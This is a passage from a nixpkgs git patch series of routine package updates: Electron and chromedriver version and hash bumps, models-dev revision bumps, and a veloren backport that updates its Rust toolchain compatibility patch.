+                    "hash": "sha256-PbDTKSU19jn2hLDoazceYB/Rd6/qu6npPSrjOdeXFuU=",
+                    "rev": "1fde167ae683982d77b9ca7e1308bf9f498291e8",
                     "url": "https://dawn.googlesource.com/dawn.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -2988,8 +2988,8 @@
             },
             "src/third_party/devtools-frontend/src": {
                 "args": {
-                    "hash": "sha256-XkyJFRxo3ZTBGfKdTwSIo14SLNPQAKQvY4lEX03j6LM=",
-                    "rev": "a6dbe06dafbad00ef4b0ea139ece1a94a5e2e6d8",
+                    "hash": "sha256-pVNr8NB5U/Uf688oOvPLpu81isCn/WmjJky01A000a4=",
+                    "rev": "4cca0aa00c4915947f1081014d5cfa2e83d357fa",
                     "url": "https://chromium.googlesource.com/devtools/devtools-frontend"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -3028,10 +3028,10 @@
             },
             "src/third_party/electron_node": {
                 "args": {
-                    "hash": "sha256-UFKajmYdtI645aCY8lX8X7mCZv7/k458u72cnqk25RI=",
+                    "hash": "sha256-Qog6QBWGikETuaGj1rWTMe8q9bMu1HSK8HBUrldVnpI=",
                     "owner": "nodejs",
                     "repo": "node",
-                    "tag": "v22.17.0"
+                    "tag": "v22.17.1"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -3954,16 +3954,16 @@
             },
             "src/v8": {
                 "args": {
-                    "hash": "sha256-5y/yNZopnwtDrG+BBU6fMEi0yJJoYvsygQR+fl6vS/Y=",
-                    "rev": "e5b4c78b54e8b033b2701db3df0bf67d3030e4c1",
+                    "hash": "sha256-/T5fisjmN80bs3PtQrCRfH3Bo9dRSd3f+xpPLDh1RTY=",
+                    "rev": "de9d0f8b56ae61896e4d2ac577fc589efb14f87d",
                     "url": "https://chromium.googlesource.com/v8/v8.git"
                 },
                 "fetcher": "fetchFromGitiles"
             }
         },
-        "electron_yarn_hash": "167apz9905pfmvq1i34dzcjbzmg3i8jbm27al2xs9lka0rr2qr07",
+        "electron_yarn_hash": "1lzjbq2r81hlzrhr7rxdfjq6z4h3k1106azn7mraj00d91cyp0af",
         "modules": "136",
-        "node": "22.17.0",
-        "version": "37.2.2"
+        "node": "22.17.1",
+        "version": "37.2.4"
     }
 }

From 6d1f4804bfeb05ee0f997b83012a9e6dde94c0c3 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 23 Jul 2025 10:47:24 +0200
Subject: [PATCH 3038/4511] electron_36-bin: 36.7.1 -> 36.7.3

- Changelog: https://github.com/electron/electron/releases/tag/v36.7.3
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.7.1...v36.7.3

(cherry picked from commit 1236db9342ac83ed5d711845a4abfedd7fb10cef)
---
 pkgs/development/tools/electron/binary/info.json | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index f51700cdfa6c..b4a1d19fec30 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -34,14 +34,14 @@
     },
     "36": {
         "hashes": {
-            "aarch64-darwin": "e4b79adf57b6e85ab6c818c283a2ed075fdc989da201e279ff94ace89051501d",
-            "aarch64-linux": "7511e5e62393f5ee1a7e97c39b0c6d78e5d083817d5589d6c07a2924dd9c277a",
-            "armv7l-linux": "089ebc98b798398b0413afb04836ad8c9db2adc4c41057ba4089e50e7f485c38",
-            "headers": "09808hmprjpm33h5lx739i1yllwqy89n62ycaxrh6w42sncb2gm9",
-            "x86_64-darwin": "95ebf1d455cc3b694fe057221d8053a0f1cbbb64b74bf5982d5a43cffc7e074b",
-            "x86_64-linux": "315da2bc92bf40bcab5b1da28778048fb5f4eeca75bcc78e0f25cda1773e094e"
+            "aarch64-darwin": "2b135786014ed8962ad4b4adfd334848929efd5fe5c2432f9054eb83ae67b1c6",
+            "aarch64-linux": "6ee195e05592fde3c5a2245203ac9a9e9c7118cbbf1d6c097db339ed5457732e",
+            "armv7l-linux": "72fd25c965a350abdf99f8e0a4bfca7ecf6eb154cb95912139665f37a76f6d54",
+            "headers": "0k8dqncwp338d17kfrcgam2i0z3zcbs22r36lslh08jfafr8n2mf",
+            "x86_64-darwin": "9f95547bc2d1b2eff6e8de0f00c844ecbf9ee118e1355d5791f900cdfebfb142",
+            "x86_64-linux": "3a9c36c64a38dd3ff959e9f1ba6ead43509d62c6f0948e71d3f575727b05ad96"
         },
-        "version": "36.7.1"
+        "version": "36.7.3"
     },
     "37": {
         "hashes": {

From 7d99a4a0ebb9fa49625e910da204d0fe61008ad6 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 23 Jul 2025 10:47:27 +0200
Subject: [PATCH 3039/4511] electron-chromedriver_36: 36.7.1 -> 36.7.3

- Changelog: https://github.com/electron/electron/releases/tag/v36.7.3
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.7.1...v36.7.3

(cherry picked from commit 5bdb6998aa0d42fca2d335b50397fdafe87d5add)
---
 .../tools/electron/chromedriver/info.json          | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index 4e8e46075888..474682b1e645 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -34,14 +34,14 @@
     },
     "36": {
         "hashes": {
-            "aarch64-darwin": "cdcf2c88d2d951761517669886521043d4e63fb5538fab01a5469594f8af4fa9",
-            "aarch64-linux": "f629a35f5ee5ce902581ae4d4cdfacbd25dc72573805abe8484f28a6b7f74abe",
-            "armv7l-linux": "b9db0483bdff794d08cdd0e30a861b6b9e31a94f99b37893f2a7fbc6069e74ff",
-            "headers": "09808hmprjpm33h5lx739i1yllwqy89n62ycaxrh6w42sncb2gm9",
-            "x86_64-darwin": "3d212fd07716510f894b3e5833d5bb7a53298a8add1fe96d5264d16c2235eda1",
-            "x86_64-linux": "1a6f7a0df64475a467b20548ab41c8576781b5e34a6bf74751c7384623acd2fb"
+            "aarch64-darwin": "ab224e77272c6482cbe54ff0b368f0b696d1f2b5e28478ec3f641665251ec6ce",
+            "aarch64-linux": "cd9ada2f39c376e56f095d1c1f76505ce499e8a40a4127e508abca173bbf37e3",
+            "armv7l-linux": "90e9ac552f98b1cff1da096d747685e4abca4dd2cf610c5ab2f60a7f29f714b6",
+            "headers": "0k8dqncwp338d17kfrcgam2i0z3zcbs22r36lslh08jfafr8n2mf",
+            "x86_64-darwin": "0658109c34afe0bcffc3f795d9970bbe5fb4225faf4c0ae74e09a1877c27c1f4",
+            "x86_64-linux": "9f9956aeb6ab5650e7731eb4aa507cabd96eee0755ca7884bd18b89d50ed06a0"
         },
-        "version": "36.7.1"
+        "version": "36.7.3"
     },
     "37": {
         "hashes": {

From fc3388c2cb7570f7a50401a771d44b2582901158 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 23 Jul 2025 10:47:32 +0200
Subject: [PATCH 3040/4511] electron_37-bin: 37.2.2 -> 37.2.4

- Changelog: https://github.com/electron/electron/releases/tag/v37.2.4
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.2.2...v37.2.4

(cherry picked from commit c7def8ac3440b0b88bd09bbe2847048b2cc99934)
---
 pkgs/development/tools/electron/binary/info.json | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index b4a1d19fec30..6b255f7c39f6 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -45,13 +45,13 @@
     },
     "37": {
         "hashes": {
-            "aarch64-darwin": "8c8f393de428c03062a35d945f6cf4dc2ad41a98bae5c644fb973473cd13552f",
-            "aarch64-linux": "ccd19d8cbb8efc876c52345eefa884fc618f6a375f0764dc71c1b4341c6b378e",
-            "armv7l-linux": "632f7babe954f4293c45414f7f72ff8d1f76c344e10d2b795a08e93a2bba62b9",
-            "headers": "07n5hlb93l3v6f1x122yhnbn2x0a8cin3is7jqjfky0lacvl0bwa",
-            "x86_64-darwin": "924b1a15398c296eac196e96caf6bf76a236b38e3f23f14b898d8eb902f68ddd",
-            "x86_64-linux": "30bb4de4a63af55615c292aaac025f4c8422b67db7d6b4b8cfd82ee97ad939f8"
+            "aarch64-darwin": "9afb0df95873270ab62865302cdae252dcdb1c4d785735c17361885c5ca3189f",
+            "aarch64-linux": "02f6949eed7785a1c11a5f262ad134e670d1f1843094368c47bef63fbca155f0",
+            "armv7l-linux": "1ba4946795e04d977be565a45eea990fc6c7ff4cfedd36291a43ff2185dba919",
+            "headers": "1rzvgfkaj2j9vb6x6x2405markb722vvvzkyb3p9mw8wlf8axliy",
+            "x86_64-darwin": "d0382b5f309ca5693c84d0870dd856b0113d504c17cbf0a2cf5718749d1e8873",
+            "x86_64-linux": "027d6ebaf5eef805d1f9158feab3fdc10912c7a420a0fe7dcd1c18f4f2b601db"
         },
-        "version": "37.2.2"
+        "version": "37.2.4"
     }
 }

From 326966f9f440e1be74e982884aa559b0032967f7 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 23 Jul 2025 10:47:35 +0200
Subject: [PATCH 3041/4511] electron-chromedriver_37: 37.2.2 -> 37.2.4

- Changelog: https://github.com/electron/electron/releases/tag/v37.2.4
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.2.2...v37.2.4

(cherry picked from commit 85eeb8bdb0b1793b2fcff6e48f0890411691dfc9)
---
 .../tools/electron/chromedriver/info.json          | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index 474682b1e645..1e9cb759bc7a 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -45,13 +45,13 @@
     },
     "37": {
         "hashes": {
-            "aarch64-darwin": "64e21bee8c6f203879a64c90e7b0601809ecaad0e8760d00c427e12d8959f244",
-            "aarch64-linux": "4c497c05b2abf7a1323302f35df68612cab3f957be9152d939aa6defd0f4e3dc",
-            "armv7l-linux": "01d05956b313457795fe1c3450558cb9bf9d68cc26720b91d89ce4554b1f3060",
-            "headers": "07n5hlb93l3v6f1x122yhnbn2x0a8cin3is7jqjfky0lacvl0bwa",
-            "x86_64-darwin": "2682d646495cb7d0fadde52e52c5ac64bf98677563f7f688f32169c7efee43ba",
-            "x86_64-linux": "40c0bbb6a4a2630ea7e0fbcfaa24f62d06ab56991bb7cb4a508936d82f456543"
+            "aarch64-darwin": "031cf7909e5a46d715382c23d2381b08ec6b56d8ed46bfb47e58d1e7acc26527",
+            "aarch64-linux": "bd66c67b9836ac1ed9d1b438ef520fd65b084b8497ce109ed84b0132cf19caf2",
+            "armv7l-linux": "43e3076bf1a88b0e8696d0b1b96b20ee5674771f5998b2b39c48222e687d8ae6",
+            "headers": "1rzvgfkaj2j9vb6x6x2405markb722vvvzkyb3p9mw8wlf8axliy",
+            "x86_64-darwin": "92bd0fc8f8385cffcc95246fc4d6cad99f4062a900b4a753732a7b8a1d458e2d",
+            "x86_64-linux": "c9475803b2d3b60a3b22dd4c9fccf083eb6aaf65c597733c3503e0ad5b93e85b"
         },
-        "version": "37.2.2"
+        "version": "37.2.4"
     }
 }

From 3f097b868cdd0dea04f7b8e48be2287b499af61f Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Thu, 17 Jul 2025 11:41:10 +0200
Subject: [PATCH 3042/4511] models-dev: 0-unstable-2025-07-14 ->
 0-unstable-2025-07-16

Diff: https://github.com/sst/models.dev/compare/2b0849aa20d48c28e2bac1fa3762aec867a2e7c7...a0eedfb30fb449322deaff0b349b3a194608789e
(cherry picked from commit 30f54df56cd4521753c8c10edb423b0714fdc574)
---
 pkgs/by-name/mo/models-dev/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mo/models-dev/package.nix b/pkgs/by-name/mo/models-dev/package.nix
index 08ee5b69824a..0062f142dec5 100644
--- a/pkgs/by-name/mo/models-dev/package.nix
+++ b/pkgs/by-name/mo/models-dev/package.nix
@@ -17,12 +17,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "models-dev";
-  version = "0-unstable-2025-07-14";
+  version = "0-unstable-2025-07-16";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "models.dev";
-    rev = "2b0849aa20d48c28e2bac1fa3762aec867a2e7c7";
-    hash = "sha256-SC2yOy+6xjiGgRuRJY6wCtzWjFJm/DUy+gSlMXXDgAk=";
+    rev = "a0eedfb30fb449322deaff0b349b3a194608789e";
+    hash = "sha256-+0FZmLxWz75wU5NIxjpX+H0oNa3gGgYCjoK8JdP7sOg=";
   };
 
   node_modules = stdenvNoCC.mkDerivation {

From a5d6022d2fdba59870df8f7fae75371bc64d129b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 23 Jul 2025 10:49:44 +0000
Subject: [PATCH 3043/4511] models-dev: 0-unstable-2025-07-16 ->
 0-unstable-2025-07-23

(cherry picked from commit 8b7d929b0074f2835df48e5dae5dc1bd3f30b830)
---
 pkgs/by-name/mo/models-dev/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mo/models-dev/package.nix b/pkgs/by-name/mo/models-dev/package.nix
index 0062f142dec5..20cf8161869d 100644
--- a/pkgs/by-name/mo/models-dev/package.nix
+++ b/pkgs/by-name/mo/models-dev/package.nix
@@ -17,12 +17,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "models-dev";
-  version = "0-unstable-2025-07-16";
+  version = "0-unstable-2025-07-23";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "models.dev";
-    rev = "a0eedfb30fb449322deaff0b349b3a194608789e";
-    hash = "sha256-+0FZmLxWz75wU5NIxjpX+H0oNa3gGgYCjoK8JdP7sOg=";
+    rev = "affbfa8012d0dbc0eba81ea51ec32069c71af417";
+    hash = "sha256-JPcurldPuaFPfwqiWQR83x1uDcL0Dy79kx2TAOiNnyQ=";
   };
 
   node_modules = stdenvNoCC.mkDerivation {

From 0a674d09c038daeb76f7c20eb9286854a940696e Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Tue, 29 Jul 2025 18:51:41 +0200
Subject: [PATCH 3044/4511] models-dev: 0-unstable-2025-07-23 ->
 0-unstable-2025-07-29

(cherry picked from commit 75575b3366fcd71f70301d4526f2e434d693e3d9)
---
 pkgs/by-name/mo/models-dev/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mo/models-dev/package.nix b/pkgs/by-name/mo/models-dev/package.nix
index 20cf8161869d..e648cf1445dd 100644
--- a/pkgs/by-name/mo/models-dev/package.nix
+++ b/pkgs/by-name/mo/models-dev/package.nix
@@ -17,12 +17,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "models-dev";
-  version = "0-unstable-2025-07-23";
+  version = "0-unstable-2025-07-29";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "models.dev";
-    rev = "affbfa8012d0dbc0eba81ea51ec32069c71af417";
-    hash = "sha256-JPcurldPuaFPfwqiWQR83x1uDcL0Dy79kx2TAOiNnyQ=";
+    rev = "69e91b1cee1dbd737dc60f5f99ce123a81763cda";
+    hash = "sha256-fr4cgQsW03ukgCxNBtlokAXmqjGh1fFJucWx1dJ7xV0=";
   };
 
   node_modules = stdenvNoCC.mkDerivation {

From b9590ac5f428add2b8cf21da67714b3732366cc5 Mon Sep 17 00:00:00 2001
From: rnhmjoj <rnhmjoj@inventati.org>
Date: Mon, 28 Jul 2025 08:43:36 +0200
Subject: [PATCH 3045/4511] veloren: 0.16.0 -> 0.17.0

(Backport of commit 2051185f6cdd5952799005da2c66aa6af96d770e)
---
 .../ve/veloren/fix-on-rust-stable.patch       | 2229 +++++++++++++----
 pkgs/by-name/ve/veloren/package.nix           |   16 +-
 2 files changed, 1812 insertions(+), 433 deletions(-)

diff --git a/pkgs/by-name/ve/veloren/fix-on-rust-stable.patch b/pkgs/by-name/ve/veloren/fix-on-rust-stable.patch
index ea7354119e57..26b0bb48e14d 100644
--- a/pkgs/by-name/ve/veloren/fix-on-rust-stable.patch
+++ b/pkgs/by-name/ve/veloren/fix-on-rust-stable.patch
@@ -1,440 +1,1819 @@
-commit 0829b00ec1a14c8248e1aadca22b132a1b21c40f
+commit eca36e8293bef85493657f514cf37119bb27e2e0
 Author: rnhmjoj <rnhmjoj@inventati.org>
-Date:   Mon Aug 5 00:34:55 2024 +0200
+Date:   Wed Jul 30 16:34:18 2025 +0200
 
-    update toolchain to `2024-05-14`
-    
-    Backport of 6ec900cf to v0.16.0
+    Update toolchain
 
-diff --git a/.cargo/config b/.cargo/config.toml
-similarity index 100%
-rename from .cargo/config
-rename to .cargo/config.toml
-diff --git a/Cargo.lock b/Cargo.lock
-index d0f84803..6f90da69 100644
---- a/Cargo.lock
-+++ b/Cargo.lock
-@@ -45,17 +45,6 @@ version = "0.4.8"
- source = "registry+https://github.com/rust-lang/crates.io-index"
- checksum = "0453232ace82dee0dd0b4c87a59bd90f7b53b314f3e0f61fe2ee7c8a16482289"
- 
--[[package]]
--name = "ahash"
--version = "0.7.8"
--source = "registry+https://github.com/rust-lang/crates.io-index"
--checksum = "891477e0c6a8957309ee5c45a6368af3ae14bb510732d2684ffa19af310920f9"
--dependencies = [
-- "getrandom 0.2.12",
-- "once_cell",
-- "version_check",
--]
--
- [[package]]
- name = "ahash"
- version = "0.8.11"
-@@ -4538,16 +4527,6 @@ dependencies = [
-  "ttf-parser",
- ]
- 
--[[package]]
--name = "packed_simd"
--version = "0.3.9"
--source = "registry+https://github.com/rust-lang/crates.io-index"
--checksum = "1f9f08af0c877571712e2e3e686ad79efad9657dbf0f7c3c8ba943ff6c38932d"
--dependencies = [
-- "cfg-if 1.0.0",
-- "num-traits",
--]
--
- [[package]]
- name = "parking"
- version = "2.2.0"
-@@ -5870,8 +5849,9 @@ checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
- 
- [[package]]
- name = "shred"
--version = "0.15.0"
--source = "git+https://github.com/amethyst/shred.git?rev=5d52c6fc390dd04c12158633e77591f6523d1f85#5d52c6fc390dd04c12158633e77591f6523d1f85"
-+version = "0.16.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "656294f5bdcf6d33f0cf89e88a72b58595e3fca0e77e4a4b9e9026179757fb1e"
- dependencies = [
-  "ahash 0.8.11",
-  "arrayvec",
-@@ -5884,8 +5864,9 @@ dependencies = [
- 
- [[package]]
- name = "shred-derive"
--version = "0.6.3"
--source = "git+https://github.com/amethyst/shred.git?rev=5d52c6fc390dd04c12158633e77591f6523d1f85#5d52c6fc390dd04c12158633e77591f6523d1f85"
-+version = "0.7.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "69760b786f8b40361c10663eb63c81fa7d828008527d26aa7595b99c53ab3a8d"
- dependencies = [
-  "proc-macro2 1.0.79",
-  "quote 1.0.35",
-@@ -6019,10 +6000,9 @@ dependencies = [
- [[package]]
- name = "specs"
- version = "0.20.0"
--source = "registry+https://github.com/rust-lang/crates.io-index"
--checksum = "a60eabdfd5a80e458c3e7bcc9f1076d6ce3cc8ddb71d69691f00fc0de735a635"
-+source = "git+https://github.com/amethyst/specs.git?rev=4e2da1df29ee840baa9b936593c45592b7c9ae27#4e2da1df29ee840baa9b936593c45592b7c9ae27"
- dependencies = [
-- "ahash 0.7.8",
-+ "ahash 0.8.11",
-  "crossbeam-queue",
-  "hibitset",
-  "log",
-@@ -6904,9 +6884,9 @@ dependencies = [
- 
- [[package]]
- name = "vek"
--version = "0.16.1"
-+version = "0.17.0"
- source = "registry+https://github.com/rust-lang/crates.io-index"
--checksum = "c85158043f3bc1fac596d59a77e07948da340b9951b451ed4cb4a8c480aa2157"
-+checksum = "cb40015035f83ba23d647e647f8be060d0f6f99b7c7687989fbca3e3d65e7234"
- dependencies = [
-  "approx 0.5.1",
-  "num-integer",
-@@ -6936,7 +6916,7 @@ dependencies = [
-  "specs",
-  "tokio",
-  "tracing",
-- "vek 0.16.1",
-+ "vek 0.17.0",
-  "veloren-client-i18n",
-  "veloren-common",
-  "veloren-common-base",
-@@ -7007,7 +6987,7 @@ dependencies = [
-  "tracing",
-  "tracing-subscriber",
-  "uuid",
-- "vek 0.16.1",
-+ "vek 0.17.0",
-  "veloren-common-assets",
-  "veloren-common-base",
-  "veloren-common-i18n",
-@@ -7092,7 +7072,7 @@ dependencies = [
-  "specs",
-  "sum_type",
-  "tracing",
-- "vek 0.16.1",
-+ "vek 0.17.0",
-  "veloren-common",
- ]
- 
-@@ -7116,7 +7096,7 @@ dependencies = [
-  "timer-queue",
-  "toml 0.8.12",
-  "tracing",
-- "vek 0.16.1",
-+ "vek 0.17.0",
-  "veloren-common",
-  "veloren-common-assets",
-  "veloren-common-base",
-@@ -7136,7 +7116,7 @@ dependencies = [
-  "rayon",
-  "specs",
-  "tracing",
-- "vek 0.16.1",
-+ "vek 0.17.0",
-  "veloren-common",
-  "veloren-common-base",
-  "veloren-common-ecs",
-@@ -7208,7 +7188,7 @@ dependencies = [
-  "serde",
-  "slotmap",
-  "tracing",
-- "vek 0.16.1",
-+ "vek 0.17.0",
-  "veloren-common",
-  "veloren-world",
- ]
-@@ -7251,7 +7231,7 @@ dependencies = [
-  "strum 0.24.1",
-  "tokio",
-  "tracing",
-- "vek 0.16.1",
-+ "vek 0.17.0",
-  "veloren-common",
-  "veloren-common-base",
-  "veloren-common-ecs",
-@@ -7272,7 +7252,7 @@ dependencies = [
-  "lazy_static",
-  "rand 0.8.5",
-  "specs",
-- "vek 0.16.1",
-+ "vek 0.17.0",
-  "veloren-common",
-  "veloren-common-dynlib",
-  "veloren-rtsim",
-@@ -7368,7 +7348,7 @@ dependencies = [
-  "tokio",
-  "tracing",
-  "treeculler",
-- "vek 0.16.1",
-+ "vek 0.17.0",
-  "veloren-client",
-  "veloren-client-i18n",
-  "veloren-common",
-@@ -7396,7 +7376,7 @@ version = "0.10.0"
- dependencies = [
-  "bytemuck",
-  "lazy_static",
-- "vek 0.16.1",
-+ "vek 0.17.0",
-  "veloren-common",
-  "veloren-common-dynlib",
- ]
-@@ -7452,7 +7432,6 @@ dependencies = [
-  "num 0.4.1",
-  "num-traits",
-  "ordered-float 3.9.2",
-- "packed_simd",
-  "rand 0.8.5",
-  "rand_chacha 0.3.1",
-  "rayon",
-@@ -7465,7 +7444,7 @@ dependencies = [
-  "svg_fmt",
-  "tracing",
-  "tracing-subscriber",
-- "vek 0.16.1",
-+ "vek 0.17.0",
-  "veloren-common",
-  "veloren-common-base",
-  "veloren-common-dynlib",
-diff --git a/Cargo.toml b/Cargo.toml
-index c8d02902..02521745 100644
---- a/Cargo.toml
-+++ b/Cargo.toml
-@@ -1,5 +1,3 @@
--cargo-features = ["named-profiles", "profile-overrides"]
--
- [workspace]
- resolver = "2"
- members = [
-@@ -141,7 +139,7 @@ crossbeam-channel = { version = "0.5"}
- ordered-float = { version = "3", default-features = true }
- num = { version = "0.4" }
- num-traits = { version = "0.2" }
--vek = { version = "0.16.1", features = ["serde"] }
-+vek = { version = "0.17.0", features = ["serde"] }
- itertools = { version = "0.10" }
- 
- serde = { version = "1.0.118", features = ["derive"] }
-@@ -158,7 +156,7 @@ sha2 = "0.10"
- hex = "0.4.3"
- 
- [patch.crates-io]
--shred = { git = "https://github.com/amethyst/shred.git", rev = "5d52c6fc390dd04c12158633e77591f6523d1f85" }
-+specs = { git = "https://github.com/amethyst/specs.git", rev = "4e2da1df29ee840baa9b936593c45592b7c9ae27" }
- # This is needed because of:
- # * an issue with spirv & naga in wgpu 0.18 (I assume this is fixed upstream but not in 0.18)
- # * an issue with uint in uniforms for gl. (potentially fixed in 0.19?)
-diff --git a/client/i18n/src/error.rs b/client/i18n/src/error.rs
-index 99f47bad..37eaa097 100644
---- a/client/i18n/src/error.rs
-+++ b/client/i18n/src/error.rs
-@@ -45,6 +45,7 @@ pub enum ResourceErr {
-         #[allow(dead_code)] // false-positive
-         err: String,
-     },
-+    #[allow(dead_code)] // false-positive
-     BundleError(String),
- }
- 
+diff --git a/common/net/src/lib.rs b/common/net/src/lib.rs
+index 671aa074d..78cfdcb96 100644
+--- a/common/net/src/lib.rs
++++ b/common/net/src/lib.rs
+@@ -1,5 +1,5 @@
+ #![allow(incomplete_features)]
+-#![feature(generic_const_exprs, const_fn_floating_point_arithmetic)]
++#![feature(generic_const_exprs)]
+ pub mod msg;
+ pub mod sync;
+ pub mod synced_components;
+diff --git a/common/systems/src/mount.rs b/common/systems/src/mount.rs
+index ed1b7f3c4..9acf953ec 100644
+--- a/common/systems/src/mount.rs
++++ b/common/systems/src/mount.rs
+@@ -67,7 +67,7 @@ impl<'a> System<'a> for Sys {
+                             if !matches!(body, Some(Body::Humanoid(_))) {
+                                 let actions = c
+                                     .actions
+-                                    .extract_if(|action| match action {
++                                    .extract_if(.., |action| match action {
+                                         ControlAction::StartInput { input: i, .. }
+                                         | ControlAction::CancelInput(i) => matches!(
+                                             i,
+@@ -164,7 +164,7 @@ impl<'a> System<'a> for Sys {
+             let inputs = controllers.get_mut(entity).map(|c| {
+                 let actions: Vec<_> = c
+                     .actions
+-                    .extract_if(|action| match action {
++                    .extract_if(.., |action| match action {
+                         ControlAction::StartInput { input: i, .. }
+                         | ControlAction::CancelInput(i) => {
+                             matches!(i, InputKind::Jump | InputKind::Fly | InputKind::Roll)
+diff --git a/network/examples/fileshare/main.rs b/network/examples/fileshare/main.rs
+index 015e46e9e..fc8db3a0d 100644
+--- a/network/examples/fileshare/main.rs
++++ b/network/examples/fileshare/main.rs
+@@ -1,4 +1,3 @@
+-#![feature(async_closure)]
+ //!run with
+ //! (cd network/examples/fileshare && RUST_BACKTRACE=1 cargo run
+ //! --profile=release -Z unstable-options  -- --trace=info --port 15006)
 diff --git a/rtsim/src/lib.rs b/rtsim/src/lib.rs
-index 11477390..ef62db65 100644
+index ef62db65e..000831da3 100644
 --- a/rtsim/src/lib.rs
 +++ b/rtsim/src/lib.rs
-@@ -7,7 +7,8 @@
+@@ -2,7 +2,6 @@
+     never_type,
+     try_blocks,
+     trait_alias,
+-    control_flow_enum,
+     let_chains,
      binary_heap_drain_sorted,
      fn_traits,
-     unboxed_closures,
--    tuple_trait
-+    tuple_trait,
-+    trait_upcasting
- )]
- 
- pub mod ai;
-diff --git a/rust-toolchain b/rust-toolchain
-index f1273305..e426a2f8 100644
---- a/rust-toolchain
-+++ b/rust-toolchain
-@@ -1 +1 @@
--nightly-2024-01-17
-+nightly-2024-05-14
-diff --git a/server/agent/src/lib.rs b/server/agent/src/lib.rs
-index 420bd5ff..4a927c74 100644
---- a/server/agent/src/lib.rs
-+++ b/server/agent/src/lib.rs
+diff --git a/voxygen/benches/meshing_benchmark.rs b/voxygen/benches/meshing_benchmark.rs
+index 2cfe9563a..929d62b17 100644
+--- a/voxygen/benches/meshing_benchmark.rs
++++ b/voxygen/benches/meshing_benchmark.rs
+@@ -146,7 +146,7 @@ pub fn criterion_benchmark(c: &mut Criterion) {
+     for x in 1..GEN_SIZE - 1 {
+         for y in 1..GEN_SIZE - 1 {
+             let (volume, range) = sample(Vec2::new(x, y));
+-            meshing_benches.bench_function(&format!("Terrain mesh {}, {}", x, y), move |b| {
++            meshing_benches.bench_function(format!("Terrain mesh {}, {}", x, y), move |b| {
+                 b.iter(|| {
+                     generate_mesh(
+                         black_box(&volume),
+diff --git a/voxygen/src/lib.rs b/voxygen/src/lib.rs
+index 70ca5dd10..143791d2f 100644
+--- a/voxygen/src/lib.rs
++++ b/voxygen/src/lib.rs
+@@ -9,7 +9,6 @@
+ #![feature(
+     extract_if,
+     trait_alias,
+-    option_get_or_insert_default,
+     map_try_insert,
+     slice_as_chunks,
+     let_chains,
+diff --git a/voxygen/src/panic_handler.rs b/voxygen/src/panic_handler.rs
+index a2c0ee381..9cecff787 100644
+--- a/voxygen/src/panic_handler.rs
++++ b/voxygen/src/panic_handler.rs
 @@ -1,4 +1,4 @@
--#![feature(exclusive_range_pattern, let_chains)]
-+#![feature(let_chains)]
- #![allow(
-     clippy::needless_pass_by_ref_mut //until we find a better way for specs
+-use std::{panic, panic::PanicInfo, path::PathBuf};
++use std::{panic, panic::PanicHookInfo, path::PathBuf};
+ use tracing::error;
+ 
+ pub fn set_panic_hook(log_filename: String, logs_dir: PathBuf) {
+@@ -113,7 +113,7 @@ enum PotentialPanicCause {
+     GraphicsCardIncompatibleWithRenderingBackend,
+ }
+ 
+-fn potential_cause(panic_info: &PanicInfo) -> Option<String> {
++fn potential_cause(panic_info: &PanicHookInfo) -> Option<String> {
+     let location = panic_info
+         .location()
+         .map_or("".to_string(), |x| x.file().to_string())
+diff --git a/voxygen/src/scene/figure/cache.rs b/voxygen/src/scene/figure/cache.rs
+index d5251b53a..e654a288b 100644
+--- a/voxygen/src/scene/figure/cache.rs
++++ b/voxygen/src/scene/figure/cache.rs
+@@ -406,7 +406,8 @@ where
+         item_key: Option<ItemKey>,
+     ) -> (FigureModelEntryLod<'c>, &'c Skel::Attr)
+     where
